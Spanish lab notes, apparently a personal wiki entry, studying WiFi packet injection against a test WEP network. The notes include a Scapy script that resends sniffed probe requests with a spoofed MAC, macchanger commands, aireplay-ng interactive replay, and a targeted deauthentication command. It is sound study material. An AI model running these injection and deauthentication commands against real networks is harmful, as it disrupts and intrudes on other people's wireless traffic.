---
title: Inyección de paquetes WiFi
tags:
- WiFi
- packert-injection
- 802.11
categories: [linux]
excerpt_separator: <!--more-->
---
# Ataque de inyección de paquetes WiFi
| Tipo de ataque | CID | Vector de ataque | Técnica de ataque |
|----------------|-----|------------------|----------------------|
| Activo | CID | Interceptación de tráfico
```mermaid
graph LR
IT[Interceptación de tráfico]
AT[Autenticacion falsa]
AF[Asociación]
IP[Inyección de paquetes]
IT-->AT-->AF-->IP
```
[TOC]
El concepto de inyección de paquetes no se refiere a otra cosa sino a que el AP del BSS no rechaze las ramas 802.11 que quremos que acepte y redirija.
> Packet injection is sometimes understood as not a real attack on WEP, because WEP was never designed to be resistant against such an attack. A packet sent in a WEP protected network which has been intercepted by an attacker, can later be injected into the network again, as long as the key has not been changed and the original sending station is still in the network. If the sending station is not in the network anymore, the senders (and the receivers) address can be changed to a station that is still in the network. This is possible, because these fields are not protected by the ICV.
> https://eprint.iacr.org/2007/471.pdf
> In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet.
> https://www.aircrack-ng.org/doku.php?id=i_am_injecting_but_the_ivs_don_t_increase#solutiuon
## ¿Autenticarse, asociarse y luego inyectar?
Ver [servicio y métodos de autenticación 802.11](#)
To perform packet injection, an attacker would need to authenticate and associate with the access point, so they can communicate with other devices in the network. Once associated, the attacker can use packet injection techniques to inject packets into the network, modify existing packets, or replay previously captured packets.
It's important to note that there are some attacks that involve bypassing authentication and association, such as rogue access point attacks or Evil Twin attacks. However, these attacks are different from packet injection attacks, which typically rely on being authenticated and associated with the target network.
>:question: ¿Se necesita un ataque te autenticación falsa antes de un ataque de inyección de paquetes?
## Capturar, modificar y enviar o solo enviar
A pesar que la heramienta `aireplay-ng` procede primero capturando un paquete WiFi, esto no implicua que todos la ataques (ergo, todas las herramientas) de inyección de paquetes necesitan de capturar paquetes
```mermaid
sequenceDiagram
participant Atacante as Aireplay-ng
participant AP as AP del BSS
participant Cliente
Note over Atacante: El atacante quiere re-injectar una trama 802.11 a la BSS
Atacante->>AP: Envía authentication request
AP->>Atacante: Envía authentication response
Note over Atacante: Atacante está autenticado con la BSS
Atacante->>AP: Envía association request
AP->>Atacante: Envía association response
Note over Atacante: Atacante está asoiado con la BSS
Atacante->>AP: Envía deauthentication frame (Optional)
Atacante->>Cliente: Envía trama 802.11
Cliente->>AP: Envía trama 802.11
Note over Atacante: Atacante caputa trama 802.11
Atacante->>Atacante: Modifica la trama 802.11 capturada
Atacante->>AP: Re-inyecta la trama 802.11 modificada
AP->>Cliente: Redigirge la trama 802.11 modifcada al receptor objetiv
```
# Herramientas popualres
* Aircrack-ng
* Scapy (Complete Bundle)
* Wireshark
fuente: https://wiki.wireshark.org/Tools#traffic-generators
# Setup general
```bash=
IW=$(iw dev | awk 'NR==2 && $1=="Interface" {print $2}')
SMAC=C0:2E:70:B1:42:C0
# Varibles:
cat > vars.sh << EOM
IW=wlp2s0
BMAC=FC:34:97:61:34:90 #MAC del BSS
SSID=C0N3J0 #SSID del BSS
SMAC=$SMAC #MAC de la STA atacante
CMAC=60:1d:91:64:f7:aa # MAC del STA cliente del BSS
CH=6 #Canal del BSS"
EOM
source vars.sh
# Cambio de canal
sudo iw dev $IW set channel $CH
iw dev
```
```
phy#0
Interface wlp2s0
ifindex 3
wdev 0x1
addr c0:2e:70:b1:42:c0
type monitor
channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz
txpower 20.00 dBm
```
# Primero lo primero, enviar un Beacon (con Scapy)
```shell=
$ sudo airmon-ng start $IW
$ IW=$(iw dev | awk 'NR==2 && $1=="Interface" {print $2}')
```
STA fuente del ataque
```shell
$ iw $IW info
Interface wlp2s0
ifindex 3
wdev 0x1
addr c0:2e:70:b1:42:c0
type monitor
wiphy 0
channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz
txpower 20.00 dBm
```
Análizar tráfico
```bash=
sudo tshark -i $IW -I \
-y IEEE802_11_RADIO \
-Y "wlan.addr == $SMAC"
```
Código Scapy
```python=
#!/usr/bin/env python3
#!/usr/bin/env python3
import sys
from scapy.all import *
if len(sys.argv) != 4:
print("Usage: %s <SMAC> <CMAC> <WNIC>" % sys.argv[0])
sys.exit(1)
SMAC = sys.argv[1].lower()
CMAC = sys.argv[2].lower()
iface = sys.argv[3].lower()
def handle_packet(packet):
if packet.haslayer(Dot11): # WiFi
if packet.type == 0 and packet.subtype == 4: # Probe request
if packet.addr2 == CMAC:
packet[Dot11].addr2 = SMAC
sendp(packet, iface=iface, inter=0.1)
sniff(iface=iface, prn=handle_packet)
```
Hasta este punto no podemos hablar de inyección porque la trama no ha llegado un STA de la ESS, solo ha intercptado una trama y h emitidola trama modificada.
>:question: ¿Podemos fabricar una trama que llegue hasta un STA de un ESS ajena?
# Probar la inyección de la WNIC con Aireplay-ng
La prueba de inyección determina si la WNIC puede inyectar paquetes con éxito y determinar los tiempos de respuesta de ping al AP.
Código fuente: [Github: aircrack-ng/src/aireplay-ng/aireplay-ng.c](https://github.com/aircrack-ng/aircrack-ng/blob/2c8ff3f517a4e5692536d08b9b99360c86e49a52/src/aireplay-ng/aireplay-ng.c#L5063)
En el código fuente podemos ver que por cada paquete que se envía **el campo *Source address* siempre es aleatorio**.
>:question: ¿aireplay-ng autentica cada dirección MAC aleatoria antes de intentar inyectar un paquete?
## Implementación rápida para WEP-SKA
:warning: Sin cambiar la MAC y con `airmon-ng` para poner la WNIC en modo monitor si hay mejores resultados que colocando la tarjeta en modo monitor con `ip`
Análizar tráfico con tshark
```shell=
sudo tshark -i $IW -I \
-y IEEE802_11_RADIO \
-Y "wlan.bssid == $BMAC && !(wlan.addr == ff:ff:ff:ff:ff:ff)"
```
Analizar tráfico conhell airodump-ng
```shell
sudo airodump-ng --channel $CH --bssid $BMAC $IW
```
Hacer prueba de inyección.
```bash=
sudo iw dev $IW set channel $CH
sudo aireplay-ng --test $IW
```
Salida aireplay-ng
```shell=
20:48:25 Waiting for beacon frame (BSSID: FC:34:97:61:34:90) on channel 6
20:48:25 Trying broadcast probe requests...
20:48:25 Injection is working!
20:48:27 Found 1 AP
20:48:27 Trying directed probe requests...
20:48:27 FC:34:97:61:34:90 - channel: 6 - 'C0N3J0'
20:48:29 Ping (min/avg/max): 3.442ms/79.874ms/100.174ms Power: -18.20
20:48:29 30/30: 100%
```
Salida airdump-ng
```bash=
CH 6 ][ Elapsed: 9 mins ][ 2023-04-07 20:54 ][ fixed channel wlp2s0mon: 5
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
FC:34:97:61:34:90 -18 100 4461 3472 5 6 54e WEP WEP C0N3J0
BSSID STATION PWR Rate Lost Frames Notes Probes
FC:34:97:61:34:90 00:7F:75:0B:54:03 0 0 - 1 0 3
FC:34:97:61:34:90 00:C1:78:2D:4E:C3 0 0 - 1 0 3
FC:34:97:61:34:90 00:93:60:45:38:85 0 0 - 1 0 3
FC:34:97:61:34:90 00:CB:F8:91:76:7A 0 0 - 1 0 3
FC:34:97:61:34:90 00:8B:B8:83:90:77 0 0 - 1 0 3
```
En línea 13 de arriba vemos una comunicación con `00:8B:B8:83:90:77` que podemos profundizar con Wireshark

:heavy_check_mark: Podemos dar como exitosa la inyección de paquetes
# Prueba de inyección cambiando la MAC de la WNIC atacante
## macchanger antes de airmon-ng
:warning: `airmon-ng` cambia la MAC de la WNIC a la permanenta deshaciedno los cambios de `macchanger`
```shell=
# Cambio de MAC:
$ sudo airmon-ng stop $IW
$ IW=$(iw dev | awk 'NR==2 && $1=="Interface" {print $2}')
$ sudo ip link set $IW down
$ sudo macchanger -m $SMAC $IW
$ sudo ip link set $IW up
$ iw dev
```
```shell=
$ sudo airmon-ng start $IW
$ IW=$(iw dev | awk 'NR==2 && $1=="Interface" {print $2}')
$ iw dev
```
```shell=
$ sudo aireplay-ng --test -a $BMAC -e $SSID $IW
```
```
21:24:50 Waiting for beacon frame (BSSID: FC:34:97:61:34:90) on channel 6
21:24:50 Trying broadcast probe requests...
21:24:50 Injection is working!
21:24:52 Found 1 AP
21:24:52 Trying directed probe requests...
21:24:52 FC:34:97:61:34:90 - channel: 6 - 'C0N3J0'
21:24:54 Ping (min/avg/max): 1.442ms/80.589ms/126.025ms Power: -18.33
21:24:54 30/30: 100%
```
## macchanger despues de airmon-ng
```shell=
21:08:11 Waiting for beacon frame (BSSID: FC:34:97:61:34:90) on channel 6
21:08:11 Trying broadcast probe requests...
21:08:13 No Answer...
21:08:13 Found 1 AP
21:08:13 Trying directed probe requests...
21:08:13 FC:34:97:61:34:90 - channel: 6 - 'C0N3J0'
21:08:19 0/30: 0%
```
Salida de `airmon-ng`
```shell=
CH 6 ][ Elapsed: 2 mins ][ 2023-04-07 21:10
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
FC:34:97:61:34:90 -17 36 419 0 0 6 54e WEP WEP C0N3J0
BSSID STATION PWR Rate Lost Frames Notes Probes
FC:34:97:61:34:90 00:FB:CA:1F:B8:72 0 0 - 1 0 3
FC:34:97:61:34:90 00:FB:FA:08:0C:08 0 0 - 1 0 3
FC:34:97:61:34:90 00:5E:1F:1B:ED:CF 0 0 - 1 0 3
FC:34:97:61:34:90 00:24:7F:E8:28:E2 0 0 - 1 0 3
FC:34:97:61:34:90 00:69:8A:74:3F:E7 0 0 - 1 0 3
```
Si invertigamos la MAC de la linea 13, `00:69:8A:74:3F:E7`, notamos que no hay respuesta por parte del AP

:warning: La conclusión es tratar de no mezlcar macchanger con airmon-ng porque en algunos drivers no funciona muy bien [[?]](https://forum.aircrack-ng.org/index.php/topic,379.msg1023.html#msg1023)
# Inyección de paquetes interactiva con Aireplay-ng
Un paquete en una BSS protegida por WEP con BSSID `$BMAC` interceptado por una STA con MAC `SMAC`, puede ser inyectado de nuevo en la BSS con la misma WNIC `$IW`.
```shell
sudo aireplay-ng --interactive -b $BMAC -h $SMAC $IW
```
El paquete interceptado en esta caso es guardado en el rchivo `replay_src-0407-141843.cap`. Podemos abrir el .cap en Wireshark para poder ver cual es el paquete que aireplay-ng esta reinyectando:

# Inyección de trama de deautenticaión en WLAN WEP-SKA
Ver [Ataque DoS Deautenticación falsa](#)
Análizar tráfico
```shell=
sudo tshark -i $IW -I \
-y IEEE802_11_RADIO \
-Y "wlan.fc.type == 0 && wlan.fc.subtype == 12"
```
```shell
sudo aireplay-ng --deauth=1 -a $BMAC -c $CMAC $IW
```
Donde `--deauth=N` indica N tramas, `-a` es la BSSID y`-c` es la MAC del cliente.

>:question: ¿Para inyectar una trama falsa de deautenticación falsa se necesita estar autenticado e la BSS?
# Autenticación para inyección
Ver [Autenticación falsa en WiFi WEP-SKA](2SSeC-DZTWyT_tQeXmnBNg)